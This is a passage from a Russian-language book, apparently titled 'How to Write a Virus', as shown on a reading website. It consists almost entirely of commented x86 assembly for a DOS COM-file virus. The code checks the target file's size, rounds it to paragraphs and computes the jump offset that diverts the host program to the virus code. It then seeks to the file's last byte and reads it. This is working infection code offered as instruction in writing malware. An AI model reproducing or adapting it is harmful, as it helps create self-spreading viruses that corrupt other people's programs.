"Игорь Коваль. Как написать вирус" - читать интересную книгу автора

cmp ax,64000 ;Файл длиннее
;64000 байт ?
jna toto ;Нет ...
jmp find_next ;Да - тогда он
;нам не подходит
toto: test ax,000fh ;Округлим размер
jz krat_16 ;до целого числа
or ax,000fh ;параграфов в
inc ax ;большую сторону
krat_16: mov di,ax ;И запишем ок-
;ругленное зна-
;чение в DI ...
;Расчитаем сме-
;щение для пере-
;хода на код ви-
;руса ...
sub ax,3 ;Сама команда
;перехода зани-
;мает три байта!
mov byte ptr new_bytes[1],al
;Смещение найде-
mov byte ptr new_bytes[2],ah
;но !
mov ax,di ;Сколько пара-
mov cl,4 ;графов содержит
shr ax,cl ;заражаемая про-
;грамма ?
dec ax ;Учитываем дейс-
;твие директивы
;ORG 110h ...
mov byte ptr add_to_ds,al
;Корректирующее
mov byte ptr add_to_ds+1,ah
;число найдено !

mov ax,4200h ;Установим ука-
xor cx,cx ;затель на пос-
dec si ;ледний байт
mov dx,si ;файла ...
int 21h
jnc read_last
jmp close ;Ошибка !

read_last: ;И считаем этот
mov ah,3fh ;байт в ячейку
mov cx,1 ; " last " ...
lea dx,last
int 21h
jc close ;Ошибка !